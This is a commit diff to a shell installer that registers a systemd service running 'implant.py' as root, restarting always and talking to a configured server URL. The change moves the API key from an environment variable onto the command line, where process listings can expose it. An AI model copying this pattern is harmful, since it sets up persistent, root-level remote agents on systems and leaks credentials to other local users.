Pass API key via --api-key CLI arg instead of env var for reliability
This commit is contained in:
1 parent
894881aa10
commit
afbb7a1595
1 file changed
+5
-8
@@ -108,12 +108,10 @@ done
|
|||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
# Build environment variables for systemd (each on its own line)
|
# Build command-line arguments for the implant
|
||||||
ENV_MCP="Environment=MCP_SERVER_URL=${SERVER_URL}"
|
CLI_ARGS="--id ${IMPLANT_ID} --interval ${INTERVAL}"
|
||||||
if [ -n "$API_KEY" ]; then
|
if [ -n "$API_KEY" ]; then
|
||||||
ENV_API="Environment=IMPLANT_API_KEY=${API_KEY}"
|
CLI_ARGS="$CLI_ARGS --api-key ${API_KEY}"
|
||||||
else
|
|
||||||
ENV_API=""
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create systemd service file
|
# Create systemd service file
|
||||||
@@ -128,9 +126,8 @@ Wants=network-online.target
|
|||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
Type=simple
|
Type=simple
|
||||||
ExecStart=/usr/bin/python3 ${SCRIPT_DIR}/implant.py --id ${IMPLANT_ID} --interval ${INTERVAL}
|
ExecStart=/usr/bin/python3 ${SCRIPT_DIR}/implant.py ${CLI_ARGS}
|
||||||
${ENV_MCP}
|
Environment=MCP_SERVER_URL=${SERVER_URL}
|
||||||
${ENV_API}
|
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=10
|
RestartSec=10
|
||||||
User=root
|
User=root
|
||||||
|
|||||||
Reference in new issue
Block a user